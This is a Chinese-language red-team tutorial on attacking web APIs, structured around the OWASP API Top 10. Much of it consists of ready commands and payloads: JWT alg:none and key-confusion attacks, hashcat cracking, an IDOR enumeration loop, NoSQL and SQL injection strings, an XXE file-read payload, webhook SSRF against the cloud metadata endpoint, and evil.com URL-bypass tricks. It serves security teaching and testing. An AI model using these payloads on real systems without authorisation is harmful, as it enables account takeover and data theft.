目录


一、API攻击面全景

API漏洞分类(OWASP API Top 10)

#漏洞说明
API1Broken Object Level AuthorizationIDOR:越权访问对象
API2Broken Authentication认证机制缺陷
API3Broken Object Property Level Authorization批量赋值/属性越权
API4Unrestricted Resource Consumption资源滥用(DoS)
API5Broken Function Level Authorization功能级别越权
API6Unrestricted Access to Sensitive Business Flows业务逻辑滥用
API7Server Side Request ForgerySSRF
API8Security Misconfiguration安全配置错误
API9Improper Inventory ManagementAPI资产不清
API10Unsafe Consumption of APIs不安全使用第三方API

二、API认证绕过

JWT攻击技术

# 1. alg:none 攻击
# 原始JWT(HS256签名)
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjMifQ.signature
 
# 修改header的alg为"none"
echo '{"alg":"none","typ":"JWT"}' | base64
ew0KICAiYWxnIjogIm5vbmUiLA0KICAidHlwIjogIkpXVCI...
 
# 服务器可能接受"none"算法 → 无需签名验证!
 
# 2. 密钥混淆 (HMAC vs RSA)
# JWT用RSA公钥签名,但攻击者:
# - 获取公钥(通常可以从 /.well-known/jwks.json 获取)
# - 将 alg 从 RS256 改为 HS256
# - 用公钥做HMAC-SHA256签名
# - 如果服务器用公钥验证HS256 → 签名通过!
 
# 3. 弱密钥暴力破解
hashcat -m 16500 jwt.txt rockyou.txt  # JWT HS256破解

JWT攻击工具

# jwt_tool.py
python3 jwt_tool.py <jwt>                  # 分析JWT
python3 jwt_tool.py <jwt> -T               # 篡改测试
python3 jwt_tool.py <jwt> -X a             # alg:none攻击
python3 jwt_tool.py <jwt> -X s             # 签名攻击
python3 jwt_tool.py <jwt> -X k -pk key.pem # 密钥混淆
 
# jwt-cracker (暴力破解JWT密钥)
npx jwt-cracker 'eyJ...' 'abcdefghijklmnopqrstuvwxyz' 6

OAuth 2.0攻击

1. CSRF via state参数缺失 → 绑定攻击者OAuth账号
2. redirect_uri未严格验证 → 授权码劫持
3. Implicit Flow → Token在URL中泄露
4. 弱code_challenge → PKCE绕过
5. Access Token在JS中 → XSS可窃取

三、API授权缺陷

水平越权 (IDOR)

# 枚举用户
for i in $(seq 1 1000); do
  curl -H "Authorization: Bearer $TOKEN" \
    "https://target.com/api/users/$i" | jq '.email'
done

垂直越权

# 普通用户尝试管理员端点
curl -H "Authorization: Bearer $USER_TOKEN" \
  https://target.com/api/admin/users  # ← 普通用户访问管理API
 
# 如果返回200 → 垂直越权
 
# 通过参数提升
curl -X POST https://target.com/api/profile \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"role":"admin"}'  # ← 尝试修改自己的角色

四、数据泄露与过度暴露

API响应中的信息泄露

// 登录成功响应
{
  "message": "Login successful",
  "user": {
    "id": 1,
    "username": "admin",
    "passwordHash": "$2b$10$...",  // ← 密码Hash不应返回!
    "resetToken": "abc123def456",    // ← 重置Token不应暴露
    "ssn": "123-45-6789",           // ← SSN不应返回
    "role": "admin",
    "apiKeys": {
      "stripe": "sk_live_xxxx"       // ← API密钥不应暴露
    }
  }
}

Debug端点泄露

# 常见debug模式端点
/api/debug/pprof
/actuator              # Spring Boot Actuator
/actuator/env          # 环境变量(含密钥)
/actuator/heapdump     # 内存dump
/api/debug/vars
/info                  # 应用版本信息
/.env                  # 环境文件
/phpinfo.php           # PHP信息

五、API注入攻击

JSON注入

// 基本注入
{ "search": "admin' OR '1'='1" }
 
// NoSQL注入(MongoDB)
{ "username": "admin", "password": { "$ne": "" } }
// 匹配 password != "" → 绕过密码验证!始终true
 
{ "username": { "$regex": "^admin" }, "password": { "$gt": "" } }
 
// MongoDB $where注入
{ "search": "1; sleep(5000)" }

GraphQL特定注入

# 见上一节
query { user(id: "1 OR 1=1") { name } }

XML注入 (XXE)

POST /api/parse-xml
Content-Type: application/xml
 
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
  <name>&xxe;</name>
</user>

六、Webhook与回调安全

Webhook SSRF

很多API支持Webhook/回调URL:

POST /api/webhooks
{ "url": "http://169.254.169.254/latest/meta-data/", "events": ["order.created"] }

不要直接给公网URL!
先尝试 → AWS元数据端点 (169.254.169.254)
         内网服务端口
         本地文件系统 (file:///etc/passwd)

Webhook请求走私

如果Webhook验证了回调URL的域名但请求可被操纵:

输入:https://trusted.com/user/upload
实际:https://trusted.com/user/upload#@evil.com
      https://trusted.com.evil.com/phishing
      https://trusted.com@evil.com

七、API安全测试工具链

自动化发现

# 1. API端点发现
ffuf -w api_wordlist.txt -u https://target.com/FUZZ
feroxbuster -u https://target.com/api -w api_endpoints.txt
 
# 2. 参数发现
arjun -u https://target.com/api/users
# 自动发送大量payload发现隐藏参数
 
# 3. GraphQL
# 见上一节 inQL / clairvoyance
 
# 4. Swagger/OpenAPI提取
curl https://target.com/swagger.json | jq '.paths | keys'

自动化测试

# 1. Postman + Newman
newman run api_tests.postman_collection.json
 
# 2. 自动化IDOR检测
# Burp Suite + Autorize插件
 
# 3. API Fuzzing
ffuf -request api_request.txt -w fuzz_params.txt \
  -mode clusterbomb
 
# 4. JWT测试
python3 jwt_tool.py -t https://target.com/api -rh "Authorization: Bearer JWT" \
  -M at -cv "Welcome" -T

CI/CD中的API测试

# GitHub Actions 示例
- name: API Security Scan
  run: |
    # OWASP ZAP API Scan
    zap-api-scan.py -t openapi.json -f openapi -r zap_report.html
    
    # 自定义JWT检查
    python3 check_jwt.py --url https://staging.target.com/api

八、红队视角总结

API攻击流程

1. 发现API端点 (Web/App/Mobile流量分析)
2. 获取API文档 (Swagger/GraphQL内省)
3. 理解认证机制 (JWT/OAuth/API Key)
4. 测试认证绕过 (alg:none/密钥混淆/过期token)
5. 测试授权缺陷 (IDOR/垂直越权)
6. 参数fuzzing (污染/类型混淆/注入)
7. 业务逻辑利用 (批量伪造/竞态/Webhook SSRF)
8. 提升影响 (RCE/数据泄露/账户接管)

完整的API测试工具包

功能工具
API发现ffuf, feroxbuster, Kiterunner
文档分析Swagger Parser, Burp OpenAPI Parser
GraphQLInQL, GraphQLmap, clairvoyance
JWT攻击jwt_tool, jwt-cracker
参数发现Arjun, Param Miner(Burp)
自动化扫描ZAP, Nuclei (api templates)
IDOR检测Autorize (Burp)
Fuzzingffuf, Burp Intruder

返回 前端基础总目录